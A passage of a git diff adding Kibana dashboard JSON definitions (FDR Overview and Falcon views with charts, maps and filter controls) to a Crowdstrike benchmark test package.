"logs-*", + "name": "controlGroup_609aecfe-f39b-41ee-b60a-d5bb0fab67b0:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_5cc4f532-9959-46b8-ba73-8bd54c27891b:optionsListDataView", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "controlGroup_47c1726b-56fd-48c9-9378-07a165ac42b9:optionsListDataView", + "type": "index-pattern" + } + ], + "type": "dashboard", + "typeMigrationVersion": "10.2.0", + "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json new file mode 100644 index 0000000000..c333d53ec8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json @@ -0,0 +1,1062 @@ +{ + "attributes": { + "controlGroupInput": { + "chainingSystem": "HIERARCHICAL", + "controlStyle": "oneLine", + "ignoreParentSettingsJSON": { + "ignoreFilters": false, + "ignoreQuery": false, + "ignoreTimerange": false, + "ignoreValidations": false + }, + "panelsJSON": {}, + "showApplySelections": false + }, + "description": "Summarised overview for Crowdstrike FDR events.", + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.fdr" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.fdr" + } + } + } + ], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "optionsJSON": { + "hidePanelTitles": false, + "syncColors": false, + "syncCursor": true, + "syncTooltips": false, + "useMargins": true + }, + "panelsJSON": [ + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hidePanelTitles": false, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "id": "", + "params": { + "fontSize": 12, + "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n**FDR** \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows statistics specific to Alerts and their different alert types that is received from Crowdstrike FDR.\n\n", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 57, + "i": "4d55749a-c4b7-42ad-8e6f-5363c97aae61", + "w": 7, + "x": 0, + "y": 0 + }, + "panelIndex": "4d55749a-c4b7-42ad-8e6f-5363c97aae61", + "title": "Table of Contents", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-current-indexpattern", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-880420b9-97fb-4f5a-8dd2-36f95cb02182", + "type": "index-pattern" + } + ], + "state": { + "datasourceStates": { + "formBased": { + "layers": { + "880420b9-97fb-4f5a-8dd2-36f95cb02182": { + "columnOrder": [ + "45f3413c-e658-43ec-bf3a-ad25977fb32c", + "c90d7c88-034f-42f4-94d2-605ae294940e" + ], + "columns": { + "45f3413c-e658-43ec-bf3a-ad25977fb32c": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "user.name", + "operationType": "terms", + "params": { + "missingBucket": false, + "orderBy": { + "columnId": "c90d7c88-034f-42f4-94d2-605ae294940e", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "size": 5 + }, + "scale": "ordinal", + "sourceField": "user.name" + }, + "c90d7c88-034f-42f4-94d2-605ae294940e": { + "dataType": "number", + "isBucketed": false, + "label": "Count of records", + "operationType": "count", + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {} + } + } + } + }, + "filters": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "columnId": "45f3413c-e658-43ec-bf3a-ad25977fb32c", + "isTransposed": false + }, + { + "columnId": "c90d7c88-034f-42f4-94d2-605ae294940e", + "hidden": false, + "isTransposed": false + } + ], + "layerId": "880420b9-97fb-4f5a-8dd2-36f95cb02182", + "layerType": "data", + "rowHeight": "single", + "rowHeightLines": 1 + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "e48dfc31-ef5f-4696-904c-c5320e8dcac9", + "w": 21, + "x": 7, + "y": 0 + }, + "panelIndex": "e48dfc31-ef5f-4696-904c-c5320e8dcac9", + "title": "Top Users", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-c8088761-74a6-433a-a405-f26c709cebe3", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "c8088761-74a6-433a-a405-f26c709cebe3": { + "columnOrder": [ + "97e2d50d-d871-4922-b0f8-2d50b2ace84a", + "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3" + ], + "columns": { + "97e2d50d-d871-4922-b0f8-2d50b2ace84a": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "file.name", + "operationType": "terms", + "params": { + "missingBucket": false, + "orderBy": { + "columnId": "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "size": 15 + }, + "scale": "ordinal", + "sourceField": "file.name" + }, + "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3": { + "dataType": "number", + "isBucketed": false, + "label": "Count of records", + "operationType": "count", + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {} + } + } + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "columnId": "97e2d50d-d871-4922-b0f8-2d50b2ace84a", + "isTransposed": false + }, + { + "columnId": "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3", + "isTransposed": false + } + ], + "layerId": "c8088761-74a6-433a-a405-f26c709cebe3", + "layerType": "data", + "rowHeight": "single", + "rowHeightLines": 1 + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "355965cd-eb00-4357-bdd8-1640627d1191", + "w": 20, + "x": 28, + "y": 0 + }, + "panelIndex": "355965cd-eb00-4357-bdd8-1640627d1191", + "title": "Top Related Files", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-911bafb0-aeb7-4830-8a40-6166c96fb123", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "911bafb0-aeb7-4830-8a40-6166c96fb123": { + "columnOrder": [ + "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b", + "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9", + "2c75b3a9-1b14-42d5-a8d0-44e461d4afab" + ], + "columns": { + "2c75b3a9-1b14-42d5-a8d0-44e461d4afab": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Events", + "operationType": "count", + "scale": "ratio", + "sourceField": "___records___" + }, + "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Event Kind", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "2c75b3a9-1b14-42d5-a8d0-44e461d4afab", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 3 + }, + "scale": "ordinal", + "sourceField": "event.kind" + } + }, + "incompleteColumns": {} + } + } + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "2c75b3a9-1b14-42d5-a8d0-44e461d4afab" + ], + "layerId": "911bafb0-aeb7-4830-8a40-6166c96fb123", + "layerType": "data", + "position": "top", + "seriesType": "line", + "showGridlines": false, + "splitAccessor": "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b", + "xAccessor": "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9" + } + ], + "legend": { + "isVisible": true, + "legendSize": "auto", + "position": "right" + }, + "preferredSeriesType": "line", + "title": "Empty XY chart", + "valueLabels": "hide", + "yLeftExtent": { + "mode": "full" + }, + "yRightExtent": { + "mode": "full" + } + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 19, + "i": "0325f703-a3cc-4a43-b621-974baae08c00", + "w": 20, + "x": 7, + "y": 14 + }, + "panelIndex": "0325f703-a3cc-4a43-b621-974baae08c00", + "title": "Events over time, By Event Kind", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-1928976e-020d-48bd-9887-d9fd1925f69e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "37d34cfa-17ff-4e3e-a584-1b49cec083a5", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "1928976e-020d-48bd-9887-d9fd1925f69e": { + "columnOrder": [ + "7aaadac8-55b7-4979-9bf1-b02a9673b502", + "5ec733a8-d11d-472d-9328-3c48b41a17ac" + ], + "columns": { + "5ec733a8-d11d-472d-9328-3c48b41a17ac": { + "dataType": "number", + "isBucketed": false, + "label": "Count of records", + "operationType": "count", + "params": {}, + "scale": "ratio", + "sourceField": "___records___" + }, + "7aaadac8-55b7-4979-9bf1-b02a9673b502": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Top events", + "operationType": "terms", + "params": { + "missingBucket": false, + "orderBy": { + "columnId": "5ec733a8-d11d-472d-9328-3c48b41a17ac", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "event.action" + } + }, + "incompleteColumns": {} + } + } + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "index": "37d34cfa-17ff-4e3e-a584-1b49cec083a5", + "key": "event.kind", + "negate": true, + "params": { + "query": "alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "event.kind": "alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "1928976e-020d-48bd-9887-d9fd1925f69e", + "layerType": "data", + "legendDisplay": "default", + "metrics": [ + "5ec733a8-d11d-472d-9328-3c48b41a17ac" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "7aaadac8-55b7-4979-9bf1-b02a9673b502" + ] + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 19, + "i": "7564f2a4-7167-4d71-8ce2-ece32f217487", + "w": 10, + "x": 27, + "y": 14 + }, + "panelIndex": "7564f2a4-7167-4d71-8ce2-ece32f217487", + "title": "Top Event Types", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-35e353f8-fd89-43a0-ad8c-c5d202f098d2", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "4c5d87a9-3846-4fea-8db2-3ee8315e919e", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "35e353f8-fd89-43a0-ad8c-c5d202f098d2": { + "columnOrder": [ + "b00df131-3742-4fa3-8645-032847f0266b", + "b89debc2-4203-43c7-ba15-6612030f67bd" + ], + "columns": { + "b00df131-3742-4fa3-8645-032847f0266b": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Top alerts", + "operationType": "terms", + "params": { + "missingBucket": false, + "orderBy": { + "columnId": "b89debc2-4203-43c7-ba15-6612030f67bd", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "event.action" + }, + "b89debc2-4203-43c7-ba15-6612030f67bd": { + "dataType": "number", + "isBucketed": false, + "label": "Count of records", + "operationType": "count", + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {} + } + } + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "index": "4c5d87a9-3846-4fea-8db2-3ee8315e919e", + "key": "event.kind", + "negate": false, + "params": { + "query": "alert" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "event.kind": "alert" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "data_stream.dataset : \"crowdstrike.fdr\"" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "layerId": "35e353f8-fd89-43a0-ad8c-c5d202f098d2", + "layerType": "data", + "legendDisplay": "default", + "metrics": [ + "b89debc2-4203-43c7-ba15-6612030f67bd" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "b00df131-3742-4fa3-8645-032847f0266b" + ] + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 19, + "i": "32c13eb0-f12d-44d8-8ec4-ea778840fabf", + "w": 11, + "x": 37, + "y": 14 + }, + "panelIndex": "32c13eb0-f12d-44d8-8ec4-ea778840fabf", + "title": "Top Alert Types", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "layerListJSON": [ + { + "alpha": 1, + "id": "0307e118-9fac-4923-ad6e-b588a8bd939f", + "includeInFitToBounds": true, + "label": null, + "maxZoom": 24, + "minZoom": 0, + "sourceDescriptor": { + "isAutoSelect": true, + "lightModeDefault": "road_map", + "type": "EMS_TMS" + }, + "style": { + "type": "TILE" + }, + "type": "EMS_VECTOR_TILE", + "visible": true + }, + { + "alpha": 0.75, + "id": "6b7c69d1-9248-4af3-b437-0abcef344b67", + "includeInFitToBounds": true, + "joins": [], + "label": "Agent locations", + "maxZoom": 24, + "minZoom": 0, + "sourceDescriptor": { + "applyGlobalQuery": true, + "applyGlobalTime": true, + "filterByMapBounds": true, + "geoField": "observer.geo.location", + "id": "4c8af7e5-4ec6-43de-84ea-8df092cea5f8", + "indexPatternRefName": "layer_1_source_index_pattern", + "scalingType": "CLUSTERS", + "sortField": "", + "sortOrder": "desc", + "tooltipProperties": [], + "topHitsSize": 1, + "topHitsSplitField": "", + "type": "ES_SEARCH" + }, + "style": { + "isTimeAware": true, + "properties": { + "fillColor": { + "options": { + "color": "#54B399" + }, + "type": "STATIC" + }, + "icon": { + "options": { + "value": "marker" + }, + "type": "STATIC" + }, + "iconOrientation": { + "options": { + "orientation": 0 + }, + "type": "STATIC" + }, + "iconSize": { + "options": { + "size": 6 + }, + "type": "STATIC" + }, + "labelBorderColor": { + "options": { + "color": "#FFFFFF" + }, + "type": "STATIC" + }, + "labelBorderSize": { + "options": { + "size": "SMALL" + } + }, + "labelColor": { + "options": { + "color": "#000000" + }, + "type": "STATIC" + }, + "labelSize": { + "options": { + "size": 14 + }, + "type": "STATIC" + }, + "labelText": { + "options": { + "value": "" + }, + "type": "STATIC" + }, + "lineColor": { + "options": { + "color": "#41937c" + }, + "type": "STATIC" + }, + "lineWidth": { + "options": { + "size": 1 + }, + "type": "STATIC" + }, + "symbolizeAs": { + "options": { + "value": "circle" + } + } + }, + "type": "VECTOR" + }, + "type": "BLENDED_VECTOR", + "visible": true + }, + { + "alpha": 0.75, + "id": "1b3c966b-6756-41dc-8875-a936e36dd0c2", + "includeInFitToBounds": true, + "joins": [], + "label": "Connections", + "maxZoom": 24, + "minZoom": 0, + "sourceDescriptor": { + "applyGlobalQuery": true, + "applyGlobalTime": true, + "destGeoField": "destination.geo.location", + "id": "0314931e-5e8d-4609-be8a-b478a6afed11", + "indexPatternRefName": "layer_2_source_index_pattern", + "metrics": [ + { + "type": "count" + } + ], + "sourceGeoField": "source.geo.location", + "type": "ES_PEW_PEW" + }, + "style": { + "isTimeAware": true, + "properties": { + "fillColor": { + "options": { + "color": "#54B399" + }, + "type": "STATIC" + }, + "icon": { + "options": { + "value": "marker" + }, + "type": "STATIC" + }, + "iconOrientation": { + "options": { + "orientation": 0 + }, + "type": "STATIC" + }, + "iconSize": { + "options": { + "size": 6 + }, + "type": "STATIC" + }, + "labelBorderColor": { + "options": { + "color": "#FFFFFF" + }, + "type": "STATIC" + }, + "labelBorderSize": { + "options": { + "size": "SMALL" + } + }, + "labelColor": { + "options": { + "color": "#000000" + }, + "type": "STATIC" + }, + "labelSize": { + "options": { + "size": 14 + }, + "type": "STATIC" + }, + "labelText": { + "options": { + "value": "" + }, + "type": "STATIC" + }, + "lineColor": { + "options": { + "color": "#494193" + }, + "type": "STATIC" + }, + "lineWidth": { + "options": { + "field": { + "name": "doc_count", + "origin": "source" + }, + "fieldMetaOptions": { + "isEnabled": true, + "sigma": 3 + }, + "maxSize": 10, + "minSize": 1 + }, + "type": "DYNAMIC" + }, + "symbolizeAs": { + "options": { + "value": "circle" + } + } + }, + "type": "VECTOR" + }, + "type": "GEOJSON_VECTOR", + "visible": true + } + ], + "mapStateJSON": { + "center": { + "lat": 19.94277, + "lon": 0 + }, + "filters": [], + "query": { + "language": "kuery", + "query": "" + }, + "refreshConfig": { + "interval": 0, + "isPaused": true + }, + "settings": { + "autoFitToDataBounds": false, + "backgroundColor": "#ffffff", + "browserLocation": { + "zoom": 2 + }, + "disableInteractive": false, + "disableTooltipControl": false, + "fixedLocation": { + "lat": 0, + "lon": 0, + "zoom": 2 + }, + "hideLayerControl": false, + "hideToolbarOverlay": false, + "hideViewControl": false, + "initialLocation": "LAST_SAVED_LOCATION", + "maxZoom": 24, + "minZoom": 0, + "showScaleControl": false, + "showSpatialFilters": true, + "showTimesliderToggleButton": true, + "spatialFiltersAlpa": 0.3, + "spatialFiltersFillColor": "#DA8B45", + "spatialFiltersLineColor": "#DA8B45" + }, + "timeFilters": { + "from": "now-15M", + "to": "now" + }, + "zoom": 1.78 + }, + "title": "", + "uiStateJSON": { + "isLayerTOCOpen": true, + "openTOCDetails": [] + } + }, + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hiddenLayers": [], + "hidePanelTitles": false, + "isLayerTOCOpen": true, + "mapBuffer": { + "maxLat": 85.05113, + "maxLon": 360, + "minLat": -85.05113, + "minLon": -360 + }, + "mapCenter": { + "lat": 24.98, + "lon": 12.29359, + "zoom": 0.73 + }, + "openTOCDetails": [] + }, + "gridData": { + "h": 24, + "i": "26961648-cc31-4ed6-a378-698523307b21", + "w": 41, + "x": 7, + "y": 33 + }, + "panelIndex": "26961648-cc31-4ed6-a378-698523307b21", + "title": "Agents and connections", + "type": "map" + } + ], + "timeRestore": false, + "title": "[Crowdstrike] FDR Overview", + "version": 2 + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-01T12:27:17.619Z", + "id": "crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f", + "managed": false, + "references": [ + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "e48dfc31-ef5f-4696-904c-c5320e8dcac9:indexpattern-datasource-current-indexpattern", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "e48dfc31-ef5f-4696-904c-c5320e8dcac9:indexpattern-datasource-layer-880420b9-97fb-4f5a-8dd2-36f95cb02182", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "355965cd-eb00-4357-bdd8-1640627d1191:indexpattern-datasource-layer-c8088761-74a6-433a-a405-f26c709cebe3", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "0325f703-a3cc-4a43-b621-974baae08c00:indexpattern-datasource-layer-911bafb0-aeb7-4830-8a40-6166c96fb123", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "7564f2a4-7167-4d71-8ce2-ece32f217487:indexpattern-datasource-layer-1928976e-020d-48bd-9887-d9fd1925f69e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "7564f2a4-7167-4d71-8ce2-ece32f217487:37d34cfa-17ff-4e3e-a584-1b49cec083a5", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "32c13eb0-f12d-44d8-8ec4-ea778840fabf:indexpattern-datasource-layer-35e353f8-fd89-43a0-ad8c-c5d202f098d2", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "32c13eb0-f12d-44d8-8ec4-ea778840fabf:4c5d87a9-3846-4fea-8db2-3ee8315e919e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "26961648-cc31-4ed6-a378-698523307b21:layer_1_source_index_pattern", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "26961648-cc31-4ed6-a378-698523307b21:layer_2_source_index_pattern", + "type": "index-pattern" + } + ], + "type": "dashboard", + "typeMigrationVersion": "10.2.0", + "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json new file mode 100644 index 0000000000..2ff4281d25 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json @@ -0,0 +1,1208 @@ +{ + "attributes": { + "controlGroupInput": { + "chainingSystem": "HIERARCHICAL", + "controlStyle": "oneLine", + "ignoreParentSettingsJSON": { + "ignoreFilters": false, + "ignoreQuery": false, + "ignoreTimerange": false, + "ignoreValidations": false + }, + "panelsJSON": { + "2f027408-9e82-4fbe-8c59-f32e933b50f0": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "host.name", + "id": "2f027408-9e82-4fbe-8c59-f32e933b50f0", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Hostname" + }, + "grow": true, + "order": 0, + "type": "optionsListControl", + "width": "small" + }, + "3dc73766-aa88-46ff-a02d-b0e600136550": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "event.action", + "id": "3dc73766-aa88-46ff-a02d-b0e600136550", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Event Type" + }, + "grow": true, + "order": 1, + "type": "optionsListControl", + "width": "small" + }, + "bd86c535-6911-441c-a29d-8a48759b461f": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "threat.technique.name", + "id": "bd86c535-6911-441c-a29d-8a48759b461f", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "MITRE Technique Name" + }, + "grow": false, + "order": 4, + "type": "optionsListControl", + "width": "medium" + }, + "c94c3167-3962-4186-b809-1f2506632789": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "crowdstrike.event.SeverityName", + "id": "c94c3167-3962-4186-b809-1f2506632789", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Severity" + }, + "grow": true, + "order": 2, + "type": "optionsListControl", + "width": "small" + }, + "fa9232f2-d8fd-4087-989d-c4be652027bb": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "threat.tactic.name", + "id": "fa9232f2-d8fd-4087-989d-c4be652027bb", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "MITRE Tactic Name" + }, + "grow": true, + "order": 3, + "type": "optionsListControl", + "width": "small" + } + }, + "showApplySelections": false + }, + "description": "", + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.falcon" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.falcon" + } + } + } + ], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "optionsJSON": { + "hidePanelTitles": false, + "syncColors": false, + "syncCursor": true, + "syncTooltips": false, + "useMargins": true + }, + "panelsJSON": [ + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hidePanelTitles": false, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "id": "", + "params": { + "fontSize": 12, + "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f) \n\n**Falcon** \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows statistics about the different Incidents and events collected from Crowdstrike Falcon.\n\n", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 69, + "i": "90059f1b-88f7-4e04-b755-081233d12559", + "w": 7, + "x": 0, + "y": 0 + }, + "panelIndex": "90059f1b-88f7-4e04-b755-081233d12559", + "title": "Table of Contents", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "af740c82-0b38-407b-bd61-d2d63b77b76e", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "cded08fb-72d8-4fff-bd9b-ca53189f9363": { + "columnOrder": [ + "2c916dee-9123-4c38-837b-848078cac0a5", + "d11e6000-056a-4e47-add0-b0942e7bba2c" + ], + "columns": { + "2c916dee-9123-4c38-837b-848078cac0a5": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "ECS Category Types", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "event.category" + }, + "d11e6000-056a-4e47-add0-b0942e7bba2c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": true + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "index": "af740c82-0b38-407b-bd61-d2d63b77b76e", + "negate": false, + "params": [ + { + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "logs-*", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.falcon" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.falcon" + } + } + }, + { + "meta": { + "alias": null, + "disabled": false, + "field": "crowdstrike.event.Category", + "index": "logs-*", + "key": "crowdstrike.event.Category", + "negate": false, + "params": { + "query": "Incidents" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "crowdstrike.event.Category": "Incidents" + } + } + } + ], + "relation": "AND", + "type": "combined" + }, + "query": {} + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": 